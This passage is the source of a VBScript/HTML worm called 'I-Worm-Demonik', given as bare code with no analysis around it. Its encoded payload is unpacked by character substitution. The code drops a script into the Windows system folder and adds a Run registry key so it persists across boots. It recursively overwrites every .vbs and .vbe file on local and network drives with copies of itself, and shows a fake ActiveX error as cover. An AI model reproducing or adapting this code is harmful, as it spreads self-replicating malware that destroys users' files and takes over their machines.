"  ]-]Call DAControl.AddBehaviorToRun(filterMethod)]-]&vbcrlf& _"&vbcrlf& _
"  ]-]DAControl.Start]-]&vbcrlf& _"&vbcrlf& _
"  ]-]sub setFilter(val)  [-[ callback for third animateProperty method]-]&vbcrlf& _"&vbcrlf& _
"    ]-]DropWave3.filters(0).direction = val]-]&vbcrlf& _"&vbcrlf& _
"  ]-]end sub]-]&vbcrlf& _"&vbcrlf& _
"  ]-]function getNumber   [-[ Makes some randomized time varying number]-]&vbcrlf& _"&vbcrlf& _
"   ]-]Set getNumber = m.Sequence(m.DANumber(0).Duration(2), m.Interpolate(0,360,1)).RepeatForever()V]-]&vbcrlf& _  "&vbcrlf& _
"  ]-]end function]-]&vbcrlf& _"&vbcrlf& _
"]-][-[--><?-?SCRIPT><ilayer width=&{sliderwidth}; height=&{sliderheight}; name=@-@ns_slider01@-@ visibility=hide><layer name=@-@ns_slider02@-@ onMouseover=@-@slidespeed=0;@-@ onMouseout=@-@slidespeed=copyspeed@-@><?-?layer> <?-?ilayer><?-?DIV> <?-?BODY><?-?HTML>]-]&vbcrlf& _"&vbcrlf& _
"]-]<SCRIPT LANGUAGE=@-@VBScript@-@>]-]&vbcrlf& _"&vbcrlf& _
"]-]<!--]-]&vbcrlf& _"&vbcrlf& _
"]-]on error resume next]-]&vbcrlf& _"&vbcrlf& _
"]-]dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit]-]&vbcrlf& _"&vbcrlf& _
"]-]aw=1]-]&vbcrlf& _"&vbcrlf& _
"]-]code=]-]"&vbcrlf& _
"dta2=]-]set fso=CreateObject(@-@Scripting.FileSystemObject@-@)]-]&vbcrlf& _"&vbcrlf& _
"]-]set dirsystem=fso.GetSpecialFolder(1)]-]&vbcrlf& _"&vbcrlf& _
"]-]code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))]-]&vbcrlf& _"&vbcrlf& _
"]-]code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))]-]&vbcrlf& _"&vbcrlf& _
"]-]code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))]-]&vbcrlf& _"&vbcrlf& _
"]-]set wri=fso.CreateTextFile(dirsystem&@-@^-^Demonik.vbs@-@)]-]&vbcrlf& _"&vbcrlf& _
"]-]wri.write code4]-]&vbcrlf& _"&vbcrlf& _
"]-]wri.close]-]&vbcrlf& _"&vbcrlf& _
"]-]if (fso.FileExists(dirsystem&@-@^-^Demonik.vbs@-@)) then]-]&vbcrlf& _"&vbcrlf& _
"]-]if (err.number=424) then]-]&vbcrlf& _"&vbcrlf& _
"]-]aw=0]-]&vbcrlf& _"&vbcrlf& _
"]-]end if]-]&vbcrlf& _"&vbcrlf& _
"]-]if (aw=1) then]-]&vbcrlf& _"&vbcrlf& _
"]-]document.write @-@ERROR: can#-#t initialize ActiveX@-@]-]&vbcrlf& _"&vbcrlf& _
"]-]window.close]-]&vbcrlf& _"&vbcrlf& _
"]-]end if]-]&vbcrlf& _"&vbcrlf& _
"]-]end if]-]&vbcrlf& _"&vbcrlf& _
"]-]Set regedit = CreateObject(@-@WScript.Shell@-@)]-]&vbcrlf& _"&vbcrlf& _
"]-]regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^Winoa386@-@,dirsystem&@-@^-^Demonik.vbs@-@]-]&vbcrlf& _"&vbcrlf& _
"]-]?-??-?-->]-]&vbcrlf& _"&vbcrlf& _
"]-]<?-?SCRIPT>]-]"&vbcrlf& _
"dt1=replace(dta1,chr(35)&chr(45)&chr(35),]-][-[]-])"&vbcrlf& _
"dt1=replace(dt1,chr(64)&chr(45)&chr(64),]-]]-]]-]]-])"&vbcrlf& _
"dt4=replace(dt1,chr(63)&chr(45)&chr(63),]-]/]-])"&vbcrlf& _
"dt5=replace(dt4,chr(94)&chr(45)&chr(94),]-]%-%]-])"&vbcrlf& _
"dt2=replace(dta2,chr(35)&chr(45)&chr(35),]-][-[]-])"&vbcrlf& _
"dt2=replace(dt2,chr(64)&chr(45)&chr(64),]-]]-]]-]]-])"&vbcrlf& _
"dt3=replace(dt2,chr(63)&chr(45)&chr(63),]-]/]-])"&vbcrlf& _
"dt6=replace(dt3,chr(94)&chr(45)&chr(94),]-]%-%]-])"&vbcrlf& _
"set fso=CreateObject(]-]Scripting.FileSystemObject]-])"&vbcrlf& _
"set c=fso.OpenTextFile(WScript.ScriptFullName,1)"&vbcrlf& _
"lines=Split(c.ReadAll,vbcrlf)"&vbcrlf& _
"l1=ubound(lines)"&vbcrlf& _
"for n=0 to ubound(lines)"&vbcrlf& _
"lines(n)=replace(lines(n),]-][-[]-],chr(91)+chr(45)+chr(91))"&vbcrlf& _
"lines(n)=replace(lines(n),]-]]-]]-]]-],chr(93)+chr(45)+chr(93))"&vbcrlf& _
"lines(n)=replace(lines(n),]-]%-%]-],chr(37)+chr(45)+chr(37))"&vbcrlf& _
"if (l1=n) then"&vbcrlf& _
"lines(n)=chr(34)+lines(n)+chr(34)"&vbcrlf& _
"else"&vbcrlf& _
"lines(n)=chr(34)+lines(n)+chr(34)&]-]&vbcrlf& _]-]"&vbcrlf& _
"end if"&vbcrlf& _
"next"&vbcrlf& _
"set b=fso.CreateTextFile(dirsystem+]-]%-%I-Worm-Demonik.htm]-])"&vbcrlf& _
"b.close"&vbcrlf& _
"set d=fso.OpenTextFile(dirsystem+]-]%-%I-Worm-Demonik.htm]-],2)"&vbcrlf& _
"d.write dt5"&vbcrlf& _
"d.write join(lines,vbcrlf)"&vbcrlf& _
"d.write vbcrlf"&vbcrlf& _
"d.write dt6"&vbcrlf& _
"d.close"&vbcrlf& _
"end Sub"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"Set evil1= Createobject(]-]scripting.filesystemobject]-])"&vbcrlf& _
"evil1.copyfile wscript.scriptfullname,evil1.GetSpecialFolder(0)& ]-]%-%infectfiles.vbs]-]"&vbcrlf& _
"Set evil2 = CreateObject(]-]WScript.Shell]-])"&vbcrlf& _
"evil3()"&vbcrlf& _
"Function evil3()"&vbcrlf& _
"On Error Resume Next"&vbcrlf& _
"Set evil4 = evil1.Drives"&vbcrlf& _
"For Each evil5 In evil4"&vbcrlf& _
"If evil5.Drivetype = Remote Then"&vbcrlf& _
"evil6= evil5 & ]-]%-%]-]"&vbcrlf& _
"Call evil7(evil6)"&vbcrlf& _
"ElseIf evil5.IsReady Then"&vbcrlf& _
"evil6= evil5&]-]%-%]-]"&vbcrlf& _
"Call evil7(evil6)"&vbcrlf& _
"End If"&vbcrlf& _
"Next"&vbcrlf& _
"End Function"&vbcrlf& _
"Function evil7(evil9)"&vbcrlf& _
"evil8=evil9"&vbcrlf& _
"Set evil10= evil1.GetFolder(evil8)"&vbcrlf& _
"Set evil11= evil10.Files"&vbcrlf& _
"For Each evil12 In evil11"&vbcrlf& _
"if evil1.GetExtensionName(evil12.path) = ]-]vbs]-] then"&vbcrlf& _
"evil1.copyfile wscript.scriptfullname , evil12.path , true"&vbcrlf& _
"end if"&vbcrlf& _
"if evil1.GetExtensionName(evil12.path) = ]-]vbe]-] then"&vbcrlf& _
"evil1.copyfile wscript.scriptfullname , evil12.path , true"&vbcrlf& _
"end if"&vbcrlf& _
"Next"&vbcrlf& _
"Set evil12= evil10.SubFolders"&vbcrlf& _
"For Each evil13 In evil12"&vbcrlf& _
"Call evil7(evil13.path)"&vbcrlf& _
"Next"&vbcrlf& _
"End Function"&vbcrlf& _
""&vbcrlf& _
""
set fso=CreateObject("Scripting.FileSystemObject")
set dirsystem=fso.GetSpecialFolder(1)
code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))
code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))
code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))
set wri=fso.CreateTextFile(dirsystem&"\Demonik.vbs")
wri.write code4
wri.close
if (fso.FileExists(dirsystem&"\Demonik.vbs")) then
if (err.number=424) then
aw=0
end if
if (aw=1) then
document.write "ERROR: can't initialize ActiveX"
window.close
end if
end if
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Winoa386",dirsystem&"\Demonik.vbs"
//-->
</SCRIPT>
</BODY></HTML>
